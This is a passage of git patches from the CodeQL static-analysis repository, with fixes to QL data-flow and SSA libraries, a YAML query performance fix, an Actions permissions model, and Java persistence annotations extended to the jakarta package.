sqlx.rs:155:5:157:5 | if enable_remote {...} | sqlx.rs:156:17:156:86 | arg0 | 1 | diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 2bbdb6e2a47..c7e2a507d67 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1412,13 +1412,12 @@ module Make Input> { } /** Holds if `phi` has less than 2 immediately prior references. */ - query predicate phiWithoutTwoPriorRefs(PhiNode phi, int inputRefs) { - exists(BasicBlock bbPhi, SourceVariable v | - phi.definesAt(v, bbPhi, _) and - inputRefs = - count(BasicBlock bb, int i | AdjacentSsaRefs::adjacentRefPhi(bb, i, _, bbPhi, v)) and - inputRefs < 2 - ) + query predicate phiWithoutTwoPriorRefs( + PhiNode phi, BasicBlock bbPhi, SourceVariable v, int inputRefs + ) { + phi.definesAt(v, bbPhi, _) and + inputRefs = count(BasicBlock bb, int i | AdjacentSsaRefs::adjacentRefPhi(bb, i, _, bbPhi, v)) and + inputRefs < 2 } /** From dcaeeabad8d65782764314e70088faf23797bd2b Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 1 Apr 2025 15:01:58 +0200 Subject: [PATCH 201/282] Rust: Fix `capturedCallRead` --- rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll | 2 +- .../security/CWE-089/CONSISTENCY/SsaConsistency.expected | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) delete mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index dcfe4f0edaf..f2500f32ca8 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -189,7 +189,7 @@ private predicate capturedCallRead(Expr call, BasicBlock bb, int i, Variable v) hasCapturedRead(pragma[only_bind_into](v), pragma[only_bind_into](scope)) and ( variableWriteInOuterScope(bb, any(int j | j < i), v, scope) or - variableWriteInOuterScope(bb.getAPredecessor+(), _, v, scope) + variableWriteInOuterScope(bb.getImmediateDominator+(), _, v, scope) ) and call = bb.getNode(i).getAstNode() ) diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected deleted file mode 100644 index cc715332c84..00000000000 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected +++ /dev/null @@ -1,4 +0,0 @@ -uselessPhiNode -| sqlx.rs:155:5:157:5 | SSA phi(arg0) | 1 | -phiWithoutTwoPriorRefs -| sqlx.rs:155:5:157:5 | SSA phi(arg0) | sqlx.rs:155:5:157:5 | if enable_remote {...} | sqlx.rs:156:17:156:86 | arg0 | 1 | From 9b2eff88a6db7f5a277006dcf3a6909674d7e7f5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=93scar=20San=20Jos=C3=A9?= Date: Tue, 1 Apr 2025 15:17:52 +0200 Subject: [PATCH 202/282] restore original port --- .../java/buildless-snapshot-repository/test.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/java/ql/integration-tests/java/buildless-snapshot-repository/test.py b/java/ql/integration-tests/java/buildless-snapshot-repository/test.py index d343ce4b962..2241f2917b9 100644 --- a/java/ql/integration-tests/java/buildless-snapshot-repository/test.py +++ b/java/ql/integration-tests/java/buildless-snapshot-repository/test.py @@ -3,11 +3,11 @@ import runs_on def test(codeql, java): - # This serves the "repo" directory on http://localhost:9428 - command = ["python3", "-m", "http.server", "9428", "-b", "localhost"] + # This serves the "repo" directory on http://localhost:9427 + command = ["python3", "-m", "http.server", "9427", "-b", "localhost"] if runs_on.github_actions and runs_on.posix: # On GitHub Actions, we try to run the server with higher priority - command = ["nice", "-n", "10"] + command + command = ["sudo", "nice", "-n", "10"] + command repo_server_process = subprocess.Popen( command, cwd="repo" ) From e1ef56b8bb9242234078c685eff27ab13fc13d78 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 1 Apr 2025 15:23:16 +0200 Subject: [PATCH 203/282] Swift: Fix accidental cartesian product. --- swift/ql/lib/codeql/swift/dataflow/Ssa.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/swift/ql/lib/codeql/swift/dataflow/Ssa.qll b/swift/ql/lib/codeql/swift/dataflow/Ssa.qll index f052ed8b314..ed75a06e534 100644 --- a/swift/ql/lib/codeql/swift/dataflow/Ssa.qll +++ b/swift/ql/lib/codeql/swift/dataflow/Ssa.qll @@ -159,6 +159,7 @@ module Ssa { cached predicate adjacentReadPair(ControlFlowNode read1, ControlFlowNode read2) { + read1 = this.getARead() and exists(SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2 | read1 = bb1.getNode(i1) and SsaImpl::adjacentUseUse(bb1, i1, bb2, i2, _, true) and From c9fc7882e6ff1396c957cb6b1d459dc8bcdc32dd Mon Sep 17 00:00:00 2001 From: Taus Date: Tue, 1 Apr 2025 13:59:19 +0000 Subject: [PATCH 204/282] Actions: Fix bad performance in `getTargetPath` Seen on `github/codeql`, some queries had very poor performance: ``` [2/24 eval 36m4s] Evaluation done; writing results to codeql/actions-queries/Security/CWE-312/ExcessiveSecretsExposure.bqrs ``` Investigating further lead to the following worrying sequence of joins (after I ran out of patience and cancelled the query): ``` [2025-04-01 12:31:03] Tuple counts for Yaml::YamlInclude.getTargetPath/0#dispred#32565107#fb#reorder_1_0/2@i6#9f4b2jw1 after 8m40s: ... 559418 ~33% {1} r5 = SCAN `Yaml::YamlNode.getLocation/0#dispred#24555c57#prev_delta` OUTPUT In.1 ... 909345525 ~821% {3} r7 = JOIN r5 WITH `Yaml::YamlNode.getLocation/0#dispred#24555c57#prev` CARTESIAN PRODUCT OUTPUT Rhs.1, Lhs.0 'result', Rhs.0 909342139 ~779% {3} | JOIN WITH `Locations::Location.getFile/0#dispred#dcf38c8d#prev` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 'result', Lhs.2 909338753 ~794% {3} | JOIN WITH containerparent_10#join_rhs ON FIRST 1 OUTPUT Rhs.1, Lhs.1 'result', Lhs.2 909335367 ~824% {3} | JOIN WITH `FileSystem::Container.getAbsolutePath/0#dispred#d234e6fa` ON FIRST 1 OUTPUT Lhs.2, Lhs.1 'result', Rhs.1 883246724 ~812% {3} | JOIN WITH `Yaml::YamlNode.getDocument/0#dispred#ee1eb3bf#bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1 'this', Lhs.1 'result', Lhs.2 760047185 ~838% {5} | JOIN WITH yaml_scalars ON FIRST 1 OUTPUT Lhs.1 'result', Lhs.0 'this', Rhs.2, _, Lhs.2 0 ~0% {4} | REWRITE WITH Tmp.3 := "/", Out.3 := (In.4 ++ Tmp.3 ++ InOut.2), TEST Out.3 = InOut.0 KEEPING 4 {4} | REWRITE WITH NOT [TEST InOut.2 startsWith "/"] ... ``` The culprit turned out to be the following method on class `YamlInclude` ```ql private string getTargetPath() { exists(string path | path = this.getValue() | if path.matches("/%") then result = path else result = this.getDocument().getLocation().getFile().getParentContainer().getAbsolutePath() + "/" + path ) } ``` Basically, in the `else` branch, the evaluator was producing all possible values of `result` before filtering out the ones where the `path` component started with a forward slash. To fix this, I opted to factor out the logic into two helper predicates, each accounting for whether `this.getValue()` does or does not start with a `/`. With this, evaluating the original query from a clean cache takes roughly 3.3s. --- shared/yaml/codeql/yaml/Yaml.qll | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/shared/yaml/codeql/yaml/Yaml.qll b/shared/yaml/codeql/yaml/Yaml.qll index 028654de226..422be89124f 100644 --- a/shared/yaml/codeql/yaml/Yaml.qll +++ b/shared/yaml/codeql/yaml/Yaml.qll @@ -424,14 +424,23 @@ module Make { * Gets the absolute path of the file included by this directive. */ private string getTargetPath() { - exists(string path | path = this.getValue() | - if path.matches("/%") - then result = path - else - result = - this.getDocument().getLocation().getFile().getParentContainer().getAbsolutePath() + "/" + - path - ) + result = this.getAbsolutePath() + or + result = + this.getDocument().getLocation().getFile().getParentContainer().getAbsolutePath() + "/" + + this.getRelativePath() + } + + /** Join-order helper for `getTargetPath`. Gets the path but only if it is an absolute path. */ + private string getAbsolutePath() { + result = this.getValue() and + result.matches("/%") + } + + /** Join-order helper for `getTargetPath`. Gets the path, but only if it is a relative path. */ + private string getRelativePath() { + result = this.getValue() and + not result.matches("/%") } } From e1784bb10c5188aa9a30b70a390db83ebd55ebe3 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 31 Mar 2025 18:26:06 +0200 Subject: [PATCH 205/282] JS: Fix handling of spread args on a bound function --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 9 ++++++--- javascript/ql/test/ApiGraphs/spread/tst.js | 9 +++++++++ 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index a1ffc8c02f1..84bfa67de98 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -962,11 +962,14 @@ module API { } private predicate spreadArgumentPassing(TApiNode base, int i, DataFlow::Node spreadArray) { - exists(DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke | + exists( + DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke, int spreadPos + | use(base, use) and pred = trackUseNode(use, _, bound, "") and - invoke = getAnInvocationWithSpread(pred, i) and - spreadArray = invoke.getArgument(i - bound).(SpreadElement).getOperand().flow() + invoke = getAnInvocationWithSpread(pred, spreadPos) and + spreadArray = invoke.getArgument(spreadPos).(SpreadElement).getOperand().flow() and + i = bound + spreadPos ) } diff --git a/javascript/ql/test/ApiGraphs/spread/tst.js b/javascript/ql/test/ApiGraphs/spread/tst.js index 67fed3ef13e..33fcb81662c 100644 --- a/javascript/ql/test/ApiGraphs/spread/tst.js +++ b/javascript/ql/test/ApiGraphs/spread/tst.js @@ -18,3 +18,12 @@ function getArgs() { } lib.m2(...getArgs()); + +function f3() { + return [ + 'x', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */ + 'y', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */ + ] +} + +lib.m3.bind(undefined, 1)(...f3()); From 4746cfddf255c492cfbbba307350a67c48ade3f7 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 1 Apr 2025 16:26:07 +0200 Subject: [PATCH 206/282] JS: Add clarifying comment --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 84bfa67de98..974fdd7c0cb 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -866,6 +866,14 @@ module API { .getAReturn() ) or + // Handle rest parameters escaping into external code. For example: + // + // function foo(...rest) { + // externalFunc(rest); + // } + // + // Here, 'rest' reaches a def-node at the call to externalFunc, so we need to ensure + // the arguments passed to 'foo' are stored in the 'rest' array. exists(Function fun, DataFlow::InvokeNode invoke, int argIndex, Parameter rest | fun.getRestParameter() = rest and rest.flow() = pred and From 8afdf25e9a761f6141f305b1b15bd4a2e5581964 Mon Sep 17 00:00:00 2001 From: Taus Date: Tue, 1 Apr 2025 14:50:00 +0000 Subject: [PATCH 207/282] Actions: Mark helper predicate as `noinline`. --- shared/yaml/codeql/yaml/Yaml.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/shared/yaml/codeql/yaml/Yaml.qll b/shared/yaml/codeql/yaml/Yaml.qll index 422be89124f..1467fd09d13 100644 --- a/shared/yaml/codeql/yaml/Yaml.qll +++ b/shared/yaml/codeql/yaml/Yaml.qll @@ -438,6 +438,7 @@ module Make { } /** Join-order helper for `getTargetPath`. Gets the path, but only if it is a relative path. */ + pragma[noinline] private string getRelativePath() { result = this.getValue() and not result.matches("/%") From bd7c684c6c5d8a500e5e4ca3f7181fc9e43508d8 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 17:06:32 +0200 Subject: [PATCH 208/282] actions: add test with empty permissions --- .../Security/CWE-275/.github/workflows/perms7.yml | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms7.yml diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms7.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms7.yml new file mode 100644 index 00000000000..0ec255f0d10 --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms7.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/add-to-project@v2 From ee1eb199b557970e2675c2afd1efaba0949980a0 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 17:07:02 +0200 Subject: [PATCH 209/282] actions: add description of `actionsPermissionsDataModel` --- actions/ql/lib/codeql/actions/config/ConfigExtensions.qll | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll index b86ce68a5fd..906cabbd27d 100644 --- a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll +++ b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll @@ -80,5 +80,10 @@ extensible predicate untrustedGhCommandDataModel(string cmd_regex, string flag); /** * Holds if `action` needs `permission` to run. + * - 'action' is the name of the action without any version information. + * E.g. for the action selector `actions/checkout@v2`, `action` is `actions/checkout`. + * - `permission` is of the form `scope-name: read|write`, for example `contents: read`. + * - see https://github.com/actions/checkout?tab=readme-ov-file#recommended-permissions + * for an example of recommended permissions. */ extensible predicate actionsPermissionsDataModel(string action, string permission); From 6fd8aba5609b84979a7c3ade3c94acfe37b9167c Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 17:07:21 +0200 Subject: [PATCH 210/282] actions: simplify using existing `UsesStep` --- .../Security/CWE-275/MissingActionsPermissions.ql | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql index bc3b4869a8d..aedf65bc564 100644 --- a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql +++ b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql @@ -16,18 +16,8 @@ import actions Step stepInJob(Job job) { result = job.(LocalJob).getAStep() } -bindingset[fullActionSelector] -string versionedAction(string fullActionSelector) { - result = fullActionSelector.substring(0, fullActionSelector.indexOf("@")) - or - not exists(fullActionSelector.indexOf("@")) and - result = fullActionSelector -} - -string stepUses(Step step) { result = step.getUses().(ScalarValue).getValue() } - string jobNeedsPermission(Job job) { - actionsPermissionsDataModel(versionedAction(stepUses(stepInJob(job))), result) + actionsPermissionsDataModel(stepInJob(job).(UsesStep).getCallee(), result) } /** Gets a suggestion for the minimal token permissions for `job`, as a JSON string. */ From fb6296a5647ed33ad98fcfb2f36140ff570502a9 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 16:07:40 +0100 Subject: [PATCH 211/282] Persistence models: recognise jakarta.persistence --- .../java/frameworks/javaee/Persistence.qll | 220 +++++++++++------- 1 file changed, 140 insertions(+), 80 deletions(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll index e60659426e5..b1f256878af 100644 --- a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll +++ b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll @@ -4,6 +4,10 @@ import java +private string getAPersistencePackageName() { + result = ["javax.persistence", "jakarta.persistence"] +} + /** * A `RefType` with the `@Entity` annotation that indicates that it can be persisted using a JPA * compatible framework. @@ -27,7 +31,7 @@ class PersistentEntity extends RefType { else // If the access type is not explicit, then the location of the `Id` annotation determines // which access type is used. - if this.getAMethod().hasAnnotation("javax.persistence", "Id") + if this.getAMethod().hasAnnotation(getAPersistencePackageName(), "Id") then result = "property" else result = "field" } @@ -51,14 +55,16 @@ class PersistentEntity extends RefType { * A `@javax.persistence.Access` annotation. */ class AccessAnnotation extends Annotation { - AccessAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Access") } + AccessAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Access") } } /** * A `@javax.persistence.AccessType` annotation. */ class AccessTypeAnnotation extends Annotation { - AccessTypeAnnotation() { this.getType().hasQualifiedName("javax.persistence", "AccessType") } + AccessTypeAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "AccessType") + } } /** @@ -66,7 +72,7 @@ class AccessTypeAnnotation extends Annotation { */ class AssociationOverrideAnnotation extends Annotation { AssociationOverrideAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "AssociationOverride") + this.getType().hasQualifiedName(getAPersistencePackageName(), "AssociationOverride") } } @@ -75,7 +81,7 @@ class AssociationOverrideAnnotation extends Annotation { */ class AssociationOverridesAnnotation extends Annotation { AssociationOverridesAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "AssociationOverrides") + this.getType().hasQualifiedName(getAPersistencePackageName(), "AssociationOverrides") } } @@ -84,7 +90,7 @@ class AssociationOverridesAnnotation extends Annotation { */ class AttributeOverrideAnnotation extends Annotation { AttributeOverrideAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "AttributeOverride") + this.getType().hasQualifiedName(getAPersistencePackageName(), "AttributeOverride") } } @@ -93,7 +99,7 @@ class AttributeOverrideAnnotation extends Annotation { */ class AttributeOverridesAnnotation extends Annotation { AttributeOverridesAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "AttributeOverrides") + this.getType().hasQualifiedName(getAPersistencePackageName(), "AttributeOverrides") } } @@ -101,14 +107,16 @@ class AttributeOverridesAnnotation extends Annotation { * A `@javax.persistence.Basic` annotation. */ class BasicAnnotation extends Annotation { - BasicAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Basic") } + BasicAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Basic") } } /** * A `@javax.persistence.Cacheable` annotation. */ class CacheableAnnotation extends Annotation { - CacheableAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Cacheable") } + CacheableAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "Cacheable") + } } /** @@ -116,7 +124,7 @@ class CacheableAnnotation extends Annotation { */ class CollectionTableAnnotation extends Annotation { CollectionTableAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "CollectionTable") + this.getType().hasQualifiedName(getAPersistencePackageName(), "CollectionTable") } } @@ -124,14 +132,16 @@ class CollectionTableAnnotation extends Annotation { * A `@javax.persistence.Column` annotation. */ class ColumnAnnotation extends Annotation { - ColumnAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Column") } + ColumnAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Column") } } /** * A `@javax.persistence.ColumnResult` annotation. */ class ColumnResultAnnotation extends Annotation { - ColumnResultAnnotation() { this.getType().hasQualifiedName("javax.persistence", "ColumnResult") } + ColumnResultAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "ColumnResult") + } } /** @@ -139,7 +149,7 @@ class ColumnResultAnnotation extends Annotation { */ class DiscriminatorColumnAnnotation extends Annotation { DiscriminatorColumnAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "DiscriminatorColumn") + this.getType().hasQualifiedName(getAPersistencePackageName(), "DiscriminatorColumn") } } @@ -148,7 +158,7 @@ class DiscriminatorColumnAnnotation extends Annotation { */ class DiscriminatorValueAnnotation extends Annotation { DiscriminatorValueAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "DiscriminatorValue") + this.getType().hasQualifiedName(getAPersistencePackageName(), "DiscriminatorValue") } } @@ -157,7 +167,7 @@ class DiscriminatorValueAnnotation extends Annotation { */ class ElementCollectionAnnotation extends Annotation { ElementCollectionAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "ElementCollection") + this.getType().hasQualifiedName(getAPersistencePackageName(), "ElementCollection") } } @@ -165,28 +175,32 @@ class ElementCollectionAnnotation extends Annotation { * A `@javax.persistence.Embeddable` annotation. */ class EmbeddableAnnotation extends Annotation { - EmbeddableAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Embeddable") } + EmbeddableAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "Embeddable") + } } /** * A `@javax.persistence.Embedded` annotation. */ class EmbeddedAnnotation extends Annotation { - EmbeddedAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Embedded") } + EmbeddedAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Embedded") } } /** * A `@javax.persistence.EmbeddedId` annotation. */ class EmbeddedIdAnnotation extends Annotation { - EmbeddedIdAnnotation() { this.getType().hasQualifiedName("javax.persistence", "EmbeddedId") } + EmbeddedIdAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "EmbeddedId") + } } /** * A `@javax.persistence.Entity` annotation. */ class EntityAnnotation extends Annotation { - EntityAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Entity") } + EntityAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Entity") } } /** @@ -194,7 +208,7 @@ class EntityAnnotation extends Annotation { */ class EntityListenersAnnotation extends Annotation { EntityListenersAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "EntityListeners") + this.getType().hasQualifiedName(getAPersistencePackageName(), "EntityListeners") } } @@ -202,14 +216,18 @@ class EntityListenersAnnotation extends Annotation { * A `@javax.persistence.EntityResult` annotation. */ class EntityResultAnnotation extends Annotation { - EntityResultAnnotation() { this.getType().hasQualifiedName("javax.persistence", "EntityResult") } + EntityResultAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "EntityResult") + } } /** * A `@javax.persistence.Enumerated` annotation. */ class EnumeratedAnnotation extends Annotation { - EnumeratedAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Enumerated") } + EnumeratedAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "Enumerated") + } } /** @@ -217,7 +235,7 @@ class EnumeratedAnnotation extends Annotation { */ class ExcludeDefaultListenersAnnotation extends Annotation { ExcludeDefaultListenersAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "ExcludeDefaultListeners") + this.getType().hasQualifiedName(getAPersistencePackageName(), "ExcludeDefaultListeners") } } @@ -226,7 +244,7 @@ class ExcludeDefaultListenersAnnotation extends Annotation { */ class ExcludeSuperclassListenersAnnotation extends Annotation { ExcludeSuperclassListenersAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "ExcludeSuperclassListeners") + this.getType().hasQualifiedName(getAPersistencePackageName(), "ExcludeSuperclassListeners") } } @@ -234,7 +252,9 @@ class ExcludeSuperclassListenersAnnotation extends Annotation { * A `@javax.persistence.FieldResult` annotation. */ class FieldResultAnnotation extends Annotation { - FieldResultAnnotation() { this.getType().hasQualifiedName("javax.persistence", "FieldResult") } + FieldResultAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "FieldResult") + } } /** @@ -242,7 +262,7 @@ class FieldResultAnnotation extends Annotation { */ class GeneratedValueAnnotation extends Annotation { GeneratedValueAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "GeneratedValue") + this.getType().hasQualifiedName(getAPersistencePackageName(), "GeneratedValue") } } @@ -250,84 +270,100 @@ class GeneratedValueAnnotation extends Annotation { * A `@javax.persistence.Id` annotation. */ class IdAnnotation extends Annotation { - IdAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Id") } + IdAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Id") } } /** * A `@javax.persistence.IdClass` annotation. */ class IdClassAnnotation extends Annotation { - IdClassAnnotation() { this.getType().hasQualifiedName("javax.persistence", "IdClass") } + IdClassAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "IdClass") } } /** * A `@javax.persistence.Inheritance` annotation. */ class InheritanceAnnotation extends Annotation { - InheritanceAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Inheritance") } + InheritanceAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "Inheritance") + } } /** * A `@javax.persistence.JoinColumn` annotation. */ class JoinColumnAnnotation extends Annotation { - JoinColumnAnnotation() { this.getType().hasQualifiedName("javax.persistence", "JoinColumn") } + JoinColumnAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "JoinColumn") + } } /** * A `@javax.persistence.JoinColumns` annotation. */ class JoinColumnsAnnotation extends Annotation { - JoinColumnsAnnotation() { this.getType().hasQualifiedName("javax.persistence", "JoinColumns") } + JoinColumnsAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "JoinColumns") + } } /** * A `@javax.persistence.JoinTable` annotation. */ class JoinTableAnnotation extends Annotation { - JoinTableAnnotation() { this.getType().hasQualifiedName("javax.persistence", "JoinTable") } + JoinTableAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "JoinTable") + } } /** * A `@javax.persistence.Lob` annotation. */ class LobAnnotation extends Annotation { - LobAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Lob") } + LobAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Lob") } } /** * A `@javax.persistence.ManyToMany` annotation. */ class ManyToManyAnnotation extends Annotation { - ManyToManyAnnotation() { this.getType().hasQualifiedName("javax.persistence", "ManyToMany") } + ManyToManyAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "ManyToMany") + } } /** * A `@javax.persistence.ManyToOne` annotation. */ class ManyToOneAnnotation extends Annotation { - ManyToOneAnnotation() { this.getType().hasQualifiedName("javax.persistence", "ManyToOne") } + ManyToOneAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "ManyToOne") + } } /** * A `@javax.persistence.MapKey` annotation. */ class MapKeyAnnotation extends Annotation { - MapKeyAnnotation() { this.getType().hasQualifiedName("javax.persistence", "MapKey") } + MapKeyAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKey") } } /** * A `@javax.persistence.MapKeyClass` annotation. */ class MapKeyClassAnnotation extends Annotation { - MapKeyClassAnnotation() { this.getType().hasQualifiedName("javax.persistence", "MapKeyClass") } + MapKeyClassAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyClass") + } } /** * A `@javax.persistence.MapKeyColumn` annotation. */ class MapKeyColumnAnnotation extends Annotation { - MapKeyColumnAnnotation() { this.getType().hasQualifiedName("javax.persistence", "MapKeyColumn") } + MapKeyColumnAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyColumn") + } } /** @@ -335,7 +371,7 @@ class MapKeyColumnAnnotation extends Annotation { */ class MapKeyEnumeratedAnnotation extends Annotation { MapKeyEnumeratedAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "MapKeyEnumerated") + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyEnumerated") } } @@ -344,7 +380,7 @@ class MapKeyEnumeratedAnnotation extends Annotation { */ class MapKeyJoinColumnAnnotation extends Annotation { MapKeyJoinColumnAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "MapKeyJoinColumn") + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyJoinColumn") } } @@ -353,7 +389,7 @@ class MapKeyJoinColumnAnnotation extends Annotation { */ class MapKeyJoinColumnsAnnotation extends Annotation { MapKeyJoinColumnsAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "MapKeyJoinColumns") + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyJoinColumns") } } @@ -362,7 +398,7 @@ class MapKeyJoinColumnsAnnotation extends Annotation { */ class MapKeyTemporalAnnotation extends Annotation { MapKeyTemporalAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "MapKeyTemporal") + this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKeyTemporal") } } @@ -371,7 +407,7 @@ class MapKeyTemporalAnnotation extends Annotation { */ class MappedSuperclassAnnotation extends Annotation { MappedSuperclassAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "MappedSuperclass") + this.getType().hasQualifiedName(getAPersistencePackageName(), "MappedSuperclass") } } @@ -379,7 +415,7 @@ class MappedSuperclassAnnotation extends Annotation { * A `@javax.persistence.MapsId` annotation. */ class MapsIdAnnotation extends Annotation { - MapsIdAnnotation() { this.getType().hasQualifiedName("javax.persistence", "MapsId") } + MapsIdAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "MapsId") } } /** @@ -387,7 +423,7 @@ class MapsIdAnnotation extends Annotation { */ class NamedNativeQueriesAnnotation extends Annotation { NamedNativeQueriesAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "NamedNativeQueries") + this.getType().hasQualifiedName(getAPersistencePackageName(), "NamedNativeQueries") } } @@ -396,7 +432,7 @@ class NamedNativeQueriesAnnotation extends Annotation { */ class NamedNativeQueryAnnotation extends Annotation { NamedNativeQueryAnnotation() { - 